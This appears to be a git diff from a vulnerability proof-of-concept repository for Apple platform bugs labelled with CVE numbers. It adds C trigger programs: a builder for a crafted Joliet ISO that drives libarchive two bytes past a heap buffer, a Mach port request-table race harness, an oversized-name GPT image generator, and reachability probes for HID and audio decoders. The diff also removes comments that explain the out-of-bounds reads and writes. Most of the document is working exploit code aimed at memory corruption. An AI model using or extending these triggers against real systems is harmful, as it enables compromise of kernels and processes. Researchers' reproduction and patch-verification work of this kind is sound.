kern_return_t kr2 = mach_port_names(task, &names, &name_count, &types, &type_count);
printf("port_names: %s count=%u\n", mach_error_string(kr2), name_count);
if (names) {
vm_deallocate(task, (vm_address_t)(uintptr_t)names, name_count * sizeof(mach_port_name_t));
}
if (types) {
vm_deallocate(task, (vm_address_t)(uintptr_t)types, type_count * sizeof(mach_port_type_t));
}
}
int main(int argc, char **argv) {
g_seconds = argc > 1 ? atof(argv[1]) : 6.0;
int workers = argc > 2 ? atoi(argv[2]) : 4;
g_depth = argc > 3 ? atoi(argv[3]) : 48;
if (g_depth > 512) g_depth = 512;
pthread_mutex_init(&S.lock, NULL);
S.budget = TOTAL_BUDGET;
printf("— baseline —\n");
baseline();
struct timespec start;
clock_gettime(CLOCK_MONOTONIC, &start);
g_deadline.tv_sec = (time_t)(start.tv_sec + g_seconds);
g_deadline.tv_nsec = start.tv_nsec;
printf("\n— race: %.0f s, %d workers, depth %d, budget %d —\n",
g_seconds, workers, g_depth, TOTAL_BUDGET);
pthread_t threads[8];
if (workers > 8) workers = 8;
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n",
S.operations, S.allocations, S.notifications, S.sends, S.deallocations);
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
if (S.notifications_refused > 0) {
printf("notifications refused %ld times — this platform does not allow notification\n"
"registration on own ports, so the request-table path cannot be armed here\n",
S.notifications_refused);
}
if (S.nerrs > 0) {
printf("kernel errors:\n");
for (int i = 0; i < S.nerrs; i++) {
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
}
}
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n");
pthread_mutex_destroy(&S.lock);
return 0;
}
+3 -20
View File
@@ -1,24 +1,8 @@
// kern.ipc · XNU · ipc_port.c 请求表消费方 · CVE-2026-112507 / 112476 // kern.ipc · XNU · ipc_port.c request-table consumers · CVE-2026-112507 / 112476
// 原语: UAF · 内核 · tier 2 // ipc_port request table index race
// Primitive: use-after-free · kernel · tier 2
//
// [zh] ipc_port 请求表索引竞态
// 27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free
// 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。
//
// [en] ipc_port request table index race
// iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request
// table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards
// the result, still performing the read-modify-write through the unchecked base; the mark path has
// no bounds computation at all. The index comes from the space's saved request-table slot, so the
// defect shape is a stale index under concurrency between table growth or teardown and notification
// registration or message send.
// ── 判别 / oracle ──
// 该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -40,4 +24,3 @@ enum B {
} }
+35
View File
@@ -0,0 +1,35 @@
// probe.hid · IOKit.framework / GameController.framework · CVE-2026-112515
// HID event path reachability probe
// C twin of the Swift POC: dlopens IOKit and GameController, dlsyms the HID entry
// points the CVE lives behind, and reports which resolve in this process.
// Build: clang -O2 -o cve-2026-112515 CVE-2026-112515.c
// Run: ./cve-2026-112515
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
static void probe(const char *lib, const char **symbols, int n) {
void *h = dlopen(lib, RTLD_NOW);
if (!h) {
printf("x %s\n", lib);
return;
}
printf("ok %s\n", lib);
for (int i = 0; i < n; i++) {
printf(" %s: %s\n", symbols[i], dlsym(h, symbols[i]) ? "resolved" : "missing");
}
}
int main(void) {
const char *iokit_syms[] = {
"IOHIDManagerCreate", "IOHIDDeviceGetProperty", "IOHIDEventCreateCopy",
"IOHIDEventSystemClientCreate", "IOHIDEventCreateData",
};
const char *gc_syms[] = {"GCController", "GCHIDEventSource", "GCExtendedGamepad"};
probe("/System/Library/Frameworks/IOKit.framework/IOKit", iokit_syms, 5);
probe("/System/Library/Frameworks/GameController.framework/GameController", gc_syms, 3);
printf("CVE-2026-112515 · HID path probed\n");
return 0;
}
+3 -18
View File
@@ -1,22 +1,8 @@
// probe.hid · IOHIDFamily · caps 表查找 · CVE-2026-112515 // probe.hid · IOHIDFamily · caps-table lookup · CVE-2026-112515
// 原语: OOB 读 · 外设 · tier 2 // IOHIDFamily preparsed data table index
// Primitive: OOB read · peripheral · tier 2
//
// [zh] IOHIDFamily 预解析数据表索引
// 记录中的有符号 int32 索引被直接以 ×0x14 加至 caps 表基址,仅存在 32 位乘法溢出陷阱,缺少索引与计数的比较。负索引读到表下方,超界索引读到相邻内核堆;读出的 u32 进入元素/事件数据,
// 构成内核内存泄露。27.2 补入 cmp idx,count、NULL 守卫与 64 位索引运算。
//
// [en] IOHIDFamily preparsed data table index
// A signed int32 index from the record is scaled by 0x14 straight into the caps table base with only
// a 32-bit multiply-overflow trap and no comparison against the count. Negative indices read below
// the table, over-range indices read adjacent kernel heap, and the u32 that comes back enters element/event
// data — a kernel memory disclosure. iOS 27.2 adds cmp idx,count, a NULL guard and 64-bit index arithmetic.
// ── 判别 / oracle ──
// 入口是内核侧序列化的 \"hid \" 预解析容器。应用侧能不能把这样的数据推进去,本身就是这一步要回答的问题。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,4 +24,3 @@ enum B {
} }
+266
View File
@@ -0,0 +1,266 @@
// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
// ISO9660 Joliet path name heap overflow
// C twin of the Swift POC: builds the 1024-byte-chain Joliet ISO and walks it through
// libarchive (dlopen /usr/lib/libarchive.2.dylib). The deepest unwind writes 2 bytes
// past a malloc(1024) heap buffer.
// Variants arc.iso.stress (repeat walk) and arc.cab (LZX early match) are noted in the
// Swift POC and the folder's python builder.
// Build: clang -O2 -o cve-2026-112522 CVE-2026-112522.c
// Run: ./cve-2026-112522 [iterations]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#define SECTOR 2048
// ── byte helpers ──
static void both32(uint8_t *p, uint32_t v) {
p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff;
p[4] = v >> 24; p[5] = (v >> 16) & 0xff; p[6] = (v >> 8) & 0xff; p[7] = v & 0xff;
}
static void both16(uint8_t *p, uint16_t v) {
p[0] = v & 0xff; p[1] = v >> 8; p[2] = v >> 8; p[3] = v & 0xff;
}
static void le32(uint8_t *p, uint32_t v) { p[0] = v; p[1] = v >> 8; p[2] = v >> 16; p[3] = v >> 24; }
static void le16(uint8_t *p, uint16_t v) { p[0] = v; p[1] = v >> 8; }
// UTF-16BE encoding of an ASCII string
static size_t ucs2(const char *s, uint8_t *out) {
size_t n = strlen(s);
for (size_t i = 0; i < n; i++) { out[i * 2] = 0; out[i * 2 + 1] = (uint8_t)s[i]; }
return n * 2;
}
// ── ISO9660 directory record (from CVE-2026-112522.py: dir_record) ──
// name_len may exceed the name buffer; the record is capped at 255 bytes total
static size_t dir_record(uint8_t *rec, const uint8_t *name, size_t name_len,
uint32_t extent, uint32_t size, uint8_t flags) {
uint8_t *p = rec;
*p++ = 0; // length, patched below
*p++ = 0; // extended attribute length
both32(p, extent); p += 8;
both32(p, size); p += 8;
*p++ = 126; *p++ = 10; *p++ = 28; *p++ = 12; // recording date 2026-10-28 12:00
*p++ = 0; *p++ = 0; *p++ = 0;
*p++ = flags; *p++ = 0; *p++ = 0; // file unit / interleave
both16(p, 1); p += 4; // volume sequence
*p++ = 0; // file identifier length, patched below
size_t name_taken = name_len;
size_t fixed = (size_t)(p - rec); // name starts at offset 33
if (fixed + name_taken > 255) name_taken = 255 - fixed; // record cap
memcpy(p, name, name_taken);
p += name_taken;
size_t used = (size_t)(p - rec);
if (used % 2) { *p++ = 0; used++; }
rec[0] = (uint8_t)used; // record length
rec[32] = (uint8_t)name_taken; // file identifier length
return used;
}
// ── seed construction (from CVE-2026-112522.py: build_joliet_iso) ──
// Chain root -> A(103) -> B(103) -> C(103) -> D(103) -> E(96) -> file F.
// Joliet path accumulates 4*206 + 192 + 4*2 = 1024 bytes exactly, so the deepest
// separator write lands at p[1024]/p[1025], two bytes past malloc(1024).
static uint8_t *build_joliet_iso(size_t *out_n) {
char names[5][104];
for (int i = 0; i < 4; i++) { memset(names[i], 'A' + i, 103); names[i][103] = 0; }
memset(names[4], 'E', 96); names[4][96] = 0;
const int LBA_PVD = 16, LBA_SVD = 17, LBA_TERM = 18, LBA_PT_ASCII = 19, LBA_PT_JOLIET = 20;
const int LBA_ROOT = 21, first_dir = 22, LBA_FILE = 27;
const int total_sectors = 28;
uint8_t *img = calloc((size_t)total_sectors * SECTOR, 1);
// ---- path tables (type L)
uint8_t pt_ascii[SECTOR], pt_joliet[SECTOR];
size_t pt_ascii_n = 0, pt_joliet_n = 0;
for (int i = -1; i < 5; i++) {
const char *name = i < 0 ? "" : names[i];
uint16_t parent = i < 0 ? 1 : (uint16_t)(i + 2);
uint32_t extent = i < 0 ? (uint32_t)LBA_ROOT : (uint32_t)(first_dir + i);
uint8_t nb[208];
size_t nb_n;
if (i < 0) { nb[0] = 0; nb_n = 1; }
else nb_n = strlen(name); // ASCII table: raw bytes
memcpy(nb, name, nb_n);
uint8_t *rec = pt_ascii + pt_ascii_n;
*rec++ = (uint8_t)nb_n; *rec++ = 0;
le32(rec, extent); rec += 4;
le16(rec, parent); rec += 2;
memcpy(rec, nb, nb_n); rec += nb_n;
if ((size_t)(rec - (pt_ascii + pt_ascii_n)) % 2) *rec++ = 0;
pt_ascii_n = (size_t)(rec - pt_ascii);
// Joliet table: UTF-16BE names
uint8_t jnb[208];
size_t jnb_n;
if (i < 0) { jnb[0] = 0; jnb_n = 1; }
else jnb_n = ucs2(name, jnb);
rec = pt_joliet + pt_joliet_n;
*rec++ = (uint8_t)jnb_n; *rec++ = 0;
le32(rec, extent); rec += 4;
le16(rec, parent); rec += 2;
memcpy(rec, jnb, jnb_n); rec += jnb_n;
if ((size_t)(rec - (pt_joliet + pt_joliet_n)) % 2) *rec++ = 0;
pt_joliet_n = (size_t)(rec - pt_joliet);
}
memcpy(img + LBA_PT_ASCII * SECTOR, pt_ascii, pt_ascii_n);
memcpy(img + LBA_PT_JOLIET * SECTOR, pt_joliet, pt_joliet_n);
// ---- directories
uint8_t dirbuf[SECTOR];
uint8_t cname[208];
// root contains A
{
memset(dirbuf, 0, SECTOR);
size_t off = 0;
off += dir_record(dirbuf + off, (uint8_t[]){0x00}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02);
off += dir_record(dirbuf + off, (uint8_t[]){0x01}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02);
size_t cn = ucs2(names[0], cname);
off += dir_record(dirbuf + off, cname, cn, (uint32_t)first_dir, SECTOR, 0x02);
memcpy(img + LBA_ROOT * SECTOR, dirbuf, SECTOR);
}
for (int i = 0; i < 5; i++) {
int lba = first_dir + i;
int parent = i == 0 ? LBA_ROOT : first_dir + i - 1;
memset(dirbuf, 0, SECTOR);
size_t off = 0;
off += dir_record(dirbuf + off, (uint8_t[]){0x00}, 1, (uint32_t)lba, SECTOR, 0x02);
off += dir_record(dirbuf + off, (uint8_t[]){0x01}, 1, (uint32_t)parent, SECTOR, 0x02);
size_t cn;
if (i + 1 < 5) {
cn = ucs2(names[i + 1], cname);
off += dir_record(dirbuf + off, cname, cn, (uint32_t)(first_dir + i + 1), SECTOR, 0x02);
} else {
cn = ucs2("F", cname);
off += dir_record(dirbuf + off, cname, cn, (uint32_t)LBA_FILE, 0, 0x00);
}
memcpy(img + (size_t)lba * SECTOR, dirbuf, SECTOR);
}
// LBA_FILE: empty sector
// ---- volume descriptors
for (int joliet = 0; joliet < 2; joliet++) {
uint8_t *d = img + (joliet ? LBA_SVD : LBA_PVD) * SECTOR;
int lba = joliet ? LBA_SVD : LBA_PVD;
(void)lba;
d[0] = joliet ? 2 : 1;
memcpy(d + 1, "CD001", 5);
d[6] = 1;
if (joliet) {
uint8_t sid[32];
ucs2("CINDER27 ", sid); // 16 UTF-16 units
memcpy(d + 8, sid, 32);
uint8_t vid[32];
ucs2("JOLIET-OOB ", vid);
memcpy(d + 40, vid, 32);
} else {
memcpy(d + 8, "CINDER27 ", 32);
memcpy(d + 40, "JOLIET-OOB ", 32);
}
both32(d + 80, (uint32_t)total_sectors);
both16(d + 120, 1); // volume set size
both16(d + 124, 1); // volume sequence number
both16(d + 128, (uint16_t)SECTOR); // logical block size
both32(d + 132, (uint32_t)(joliet ? pt_joliet_n : pt_ascii_n));
le32(d + 140, (uint32_t)(joliet ? LBA_PT_JOLIET : LBA_PT_ASCII));
le32(d + 144, 0);
d[148] = 0; d[149] = 0; d[150] = 0; d[151] = 0; // type-M unused
d[152] = 0; d[153] = 0; d[154] = 0; d[155] = 0;
uint8_t rootrec[40];
size_t rootrec_n = dir_record(rootrec, (uint8_t[]){0x00}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02);
memcpy(d + 156, rootrec, rootrec_n);
d[881] = 1; // file structure version
if (joliet) memcpy(d + 88, "%/E", 3); // escape sequence
}
// terminator
uint8_t *term = img + LBA_TERM * SECTOR;
term[0] = 255;
memcpy(term + 1, "CD001", 5);
term[6] = 1;
*out_n = (size_t)total_sectors * SECTOR;
return img;
}
// ── trigger: walk the archive through libarchive ──
typedef struct archive archive_t;
typedef struct archive_entry archive_entry_t;
static archive_t *(*arc_new)(void);
static int (*arc_filter_all)(archive_t *);
static int (*arc_format_all)(archive_t *);
static int (*arc_open_memory)(archive_t *, const void *, size_t);
static int (*arc_next_header)(archive_t *, archive_entry_t **);
static const char *(*arc_entry_pathname)(archive_entry_t *);
static int64_t (*arc_entry_size)(archive_entry_t *);
static const char *(*arc_error_string)(archive_t *);
static int (*arc_free)(archive_t *);
static int walk(const uint8_t *img, size_t n, int iteration, size_t *max_path) {
archive_t *a = arc_new();
if (!a) { printf(" archive_read_new failed\n"); return -1; }
arc_filter_all(a);
arc_format_all(a);
if (arc_open_memory(a, img, n) != 0) {
printf(" open_memory rc != 0: %s\n", arc_error_string(a) ? arc_error_string(a) : "?");
arc_free(a);
return -1;
}
int entries = 0;
while (1) {
archive_entry_t *e = NULL;
int r = arc_next_header(a, &e);
if (r != 0) {
if (r < 0) printf(" next_header error: %s\n", arc_error_string(a) ? arc_error_string(a) : "?");
break;
}
const char *p = arc_entry_pathname(e);
size_t plen = p ? strlen(p) : 0;
if (plen > *max_path) *max_path = plen;
if (entries < 8) printf(" entry %2d: %s (%lld B)\n", entries, p ? p : "<noname>", (long long)arc_entry_size(e));
entries++;
if (entries > 64) break;
}
printf(" pass %d: %d entries, max pathname %zu B\n", iteration, entries, *max_path);
arc_free(a);
return entries;
}
int main(int argc, char **argv) {
int iterations = argc > 1 ? atoi(argv[1]) : 1;
size_t n = 0;
uint8_t *img = build_joliet_iso(&n);
FILE *f = fopen("joliet_oob.iso", "wb");
if (f) { fwrite(img, 1, n, f); fclose(f); }
void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW);
if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); return 1; }
arc_new = dlsym(h, "archive_read_new");
arc_filter_all = dlsym(h, "archive_read_support_filter_all");
arc_format_all = dlsym(h, "archive_read_support_format_all");
arc_open_memory = dlsym(h, "archive_read_open_memory");
arc_next_header = dlsym(h, "archive_read_next_header");
arc_entry_pathname = dlsym(h, "archive_entry_pathname");
arc_entry_size = dlsym(h, "archive_entry_size");
arc_error_string = dlsym(h, "archive_error_string");
arc_free = dlsym(h, "archive_read_free");
if (!arc_new || !arc_open_memory || !arc_next_header || !arc_free) {
printf("libarchive symbols missing\n");
return 1;
}
size_t max_path = 0;
for (int i = 0; i < iterations; i++) {
walk(img, n, i + 1, &max_path);
}
printf("CVE-2026-112522 · Joliet chain 4*206 + 192 + 4*2 = 1024 B, max pathname %zu B\n", max_path);
printf("the deepest separator write lands at p[1024]/p[1025], 2 bytes past malloc(1024)\n");
printf("seed: joliet_oob.iso (%zu B) · survived %d walk(s)\n", n, iterations);
free(img);
return 0;
}
-17
View File
@@ -1,21 +1,4 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process
#
# [zh] ISO9660 Joliet 路径名堆溢出
# build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为
# 1024 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。
#
# [en] ISO9660 Joliet pathname heap overflow
# After recursively appending the parent path, build_pathname_utf16be unconditionally writes
# a 2-byte UTF-16BE '/' without re-checking the running length against the 1024 limit. When
# a directory chain sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025],
# two bytes past a malloc(1024) buffer, and 0x002F overwrites the adjacent heap chunk header.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112522.swift
# triggers (run closures) & non-seed builders: CVE-2026-112522.swift in this folder
import struct import struct
SECTOR = 2048 SECTOR = 2048
+4 -51
View File
@@ -1,28 +1,9 @@
// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522 // arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
// 原语: OOB 写 · 进程内 · tier 1 // ISO9660 Joliet pathname heap overflow
// Primitive: OOB write · in-process · tier 1 // Standalone builder: CVE-2026-112522.py
//
// [zh] ISO9660 Joliet 路径名堆溢出
// build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024
// 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。
//
// [en] ISO9660 Joliet pathname heap overflow
// After recursively appending the parent path, build_pathname_utf16be unconditionally writes a 2-byte
// UTF-16BE '/' without re-checking the running length against the 1024 limit. When a directory chain
// sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], two bytes past a malloc(1024)
// buffer, and 0x002F overwrites the adjacent heap chunk header.
// ── 判别 / oracle ──
// 目录链长度 4×206 + 192 + 4×2 = 1024,与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现,硬件断点命中于 \"Pathname is too
// long\" 之前的写指令。
// 变体 arc.iso.stress: Joliet 路径长度循环
// 变体 arc.cab: CAB LZX 历史未初始化即取匹配
//
// 种子构建器(python,可直接运行): CVE-2026-112522/CVE-2026-112522.py
// runnable python seed builder: CVE-2026-112522/CVE-2026-112522.py
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -43,36 +24,8 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
/*
// arc.iso.stress · libarchive · build_pathname_utf16be · CVE-2026-112522
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] Joliet 路径长度循环
// 对同一 ISO 反复遍历,使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收,重复执行才可能将损坏推移到可见位置。
//
// [en] Joliet path length loop
// The same ISO is traversed repeatedly so the 2-byte out-of-bounds write happens many times and interleaves
// with other allocations. A single two-byte write is usually absorbed by malloc metadata; repetition
// is what pushes the damage into a visible position.
*/
/* // ── seed construction (from Cinder27 Sources: CABPayload) ──
// arc.cab · libarchive · lzx_decode_blocks · CVE-2026-112522
// 原语: OOB 读 · 进程内 · tier 2
// Primitive: OOB read · in-process · tier 2
//
// [zh] CAB LZX 历史未初始化即取匹配
// LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时,copy_pos 指向未初始化区域,复制所得即为残留堆内容。
// 27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。
//
// [en] CAB LZX match against uninitialised history
// LZX decoding computes copy_pos = (w_pos − copy_pos) & w_mask and drops straight into the copy loop.
// While the window has not yet been written, copy_pos points into uninitialised memory and the copied
// bytes are residual heap. iOS 27.2 adds copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (CABPayload) ──
enum CABPayload { enum CABPayload {
static func lzxEarlyMatch() -> Data { static func lzxEarlyMatch() -> Data {
var out = Data() var out = Data()
+59
View File
@@ -0,0 +1,59 @@
// aud.hoa · AudioToolbox / AudioToolboxCore · HOASpatialDecoder · CVE-2026-112546
// HOA spatial decoder reachability probe
// C twin of the Swift POC: dlopens the audio frameworks, dlsyms the decoder symbols,
// then drives AudioConverterNew with the HOA format id.
// Build: clang -O2 -o cve-2026-112546 CVE-2026-112546.c -framework AudioToolbox -framework CoreFoundation
// Run: ./cve-2026-112546
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <AudioToolbox/AudioToolbox.h>
static void probe(const char *lib, const char **symbols, int n) {
void *h = dlopen(lib, RTLD_NOW);
if (!h) {
printf("x %s (%s)\n", lib, dlerror() ? dlerror() : "dlopen failed");
return;
}
printf("ok %s\n", lib);
for (int i = 0; i < n; i++) {
printf(" %s: %s\n", symbols[i], dlsym(h, symbols[i]) ? "resolved" : "missing");
}
}
static void audio_converter(uint32_t format, double rate, uint32_t channels) {
AudioStreamBasicDescription in = {0};
in.mSampleRate = rate;
in.mFormatID = format;
in.mFramesPerPacket = 1;
in.mChannelsPerFrame = channels;
AudioStreamBasicDescription out = {0};
out.mSampleRate = rate;
out.mFormatID = kAudioFormatLinearPCM;
out.mFormatFlags = kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked;
out.mBytesPerPacket = 4;
out.mFramesPerPacket = 1;
out.mBytesPerFrame = 4;
out.mChannelsPerFrame = 1;
out.mBitsPerChannel = 32;
AudioConverterRef c = NULL;
OSStatus st = AudioConverterNew(&in, &out, &c);
if (c) AudioConverterDispose(c);
char four[5] = {0};
for (int i = 0; i < 4; i++) {
uint8_t b = (uint8_t)(format >> (24 - 8 * i));
four[i] = (b >= 0x20 && b < 0x7f) ? (char)b : '?';
}
printf("AudioConverterNew('%s', %.0f Hz, %u ch) = %d\n", four, rate, channels, (int)st);
}
int main(void) {
const char *syms[] = {"HOASpatialDecoder", "APACHOADecoder", "UniDrcSelection", "mpddrc"};
probe("/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox", syms, 4);
probe("/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore", syms, 4);
probe("/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs", syms, 4);
audio_converter(0x6D686D31, 48000, 4); // 'mhm1' HOA
printf("CVE-2026-112546 · HOA decoder path probed\n");
return 0;
}
+2 -16
View File
@@ -1,21 +1,8 @@
// aud.hoa · AudioCodecs · APACHOADecoder::Initialize · CVE-2026-112546 // aud.hoa · AudioCodecs · APACHOADecoder::Initialize · CVE-2026-112546
// 原语: OOB 读 · 系统进程 · tier 2 // HOA spatial audio coefficient out-of-bounds read
// Primitive: OOB read · system process · tier 2
//
// [zh] HOA 空间音频系数越界读
// mNumHOAcoeffs 由文件内的 hoa::CodecConfig 反序列化取得。既有检查仅拦下大于 122 的值,而 37 至 121 之间的取值会索引一个长度为 37 的数组。27.2
// 将比较阈值改为 0x25。
//
// [en] HOA spatial audio coefficient out-of-bounds read
// mNumHOAcoeffs is deserialised from the file's hoa::CodecConfig. The existing check only rejects
// values above 122, while anything from 37 to 121 indexes an array of length 37. iOS 27.2 changes
// the comparison threshold to 0x25.
// ── 判别 / oracle ──
// 系数上限来自 kMaxNumSCs_DynSelSCs4EachSB。这条要真正打进去需要 MPEG-H / 沉浸式音频文件,应用侧只能探到解码器是否可达。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,4 +24,3 @@ enum B {
} }
+124
View File
@@ -0,0 +1,124 @@
// kext.gpt · ApplePartitionParser · GPT partition name field · CVE-2026-112554
// GPT partition name overrun scan boundary
// C twin of the Swift POC: builds the overlong-name GPT image (36 UTF-16 units = 72 B
// in a 28-B field), then parses it with the same clamped describe walk the app uses.
// 27.0 scans the name field up to 0x48 = 72 B; 27.2 tightens to 0x24 = 36 B.
// Build: clang -O2 -o cve-2026-112554 CVE-2026-112554.c
// Run: ./cve-2026-112554 [entry-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── seed construction (from Cinder27 Sources: GPTPayload.oversizedName) ──
// the name field is 36 UTF-16 code units = 72 bytes; the type GUID starts 56 bytes
// into the entry, so a full-length name runs 16 bytes past the field into nothing
static buf gpt_oversized_name(int entry_count) {
const size_t sector = 512;
buf out = {0};
// protective MBR
uint8_t mbr[512] = {0};
mbr[446 + 4] = 0xEE;
mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF;
mbr[446 + 8] = 0x01;
uint32_t total_sectors = 34;
mbr[446 + 12] = total_sectors & 0xff;
mbr[446 + 13] = (total_sectors >> 8) & 0xff;
mbr[446 + 14] = (total_sectors >> 16) & 0xff;
mbr[446 + 15] = (total_sectors >> 24) & 0xff;
mbr[510] = 0x55; mbr[511] = 0xAA;
bcat(&out, mbr, sector);
// primary GPT header
uint8_t hdr[512] = {0};
memcpy(hdr, "EFI PART", 8);
hdr[8] = 0; hdr[9] = 0; hdr[10] = 1; hdr[11] = 0; // revision 1.0
uint32_t header_size = 92;
hdr[12] = header_size & 0xff; hdr[13] = 0;
hdr[24] = 2; // my LBA
hdr[32] = 33; // alternate LBA
hdr[40] = 2; // first usable
hdr[48] = 32; // last usable
hdr[72] = 2; // entry array LBA
uint32_t entries = (uint32_t)entry_count;
hdr[80] = entries & 0xff;
hdr[84] = 128; // entry size
bcat(&out, hdr, sector);
// partition entries: type GUID + 16-byte name in a 72-byte-declared field
const char *name = "CINDER27-OVERLONG-PARTITION-NAME";
size_t name_units = strlen(name);
for (int i = 0; i < entry_count; i++) {
uint8_t entry[128] = {0};
entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB;
entry[56] = (uint8_t)(i + 1); // unique partition GUID byte
for (size_t k = 0; k < name_units; k++) {
if (56 + k * 2 + 1 >= 128) break;
entry[56 + k * 2] = (uint8_t)name[k];
entry[56 + k * 2 + 1] = 0; // UTF-16LE
}
bcat(&out, entry, 128);
}
while (out.n % sector != 0) bput(&out, 0);
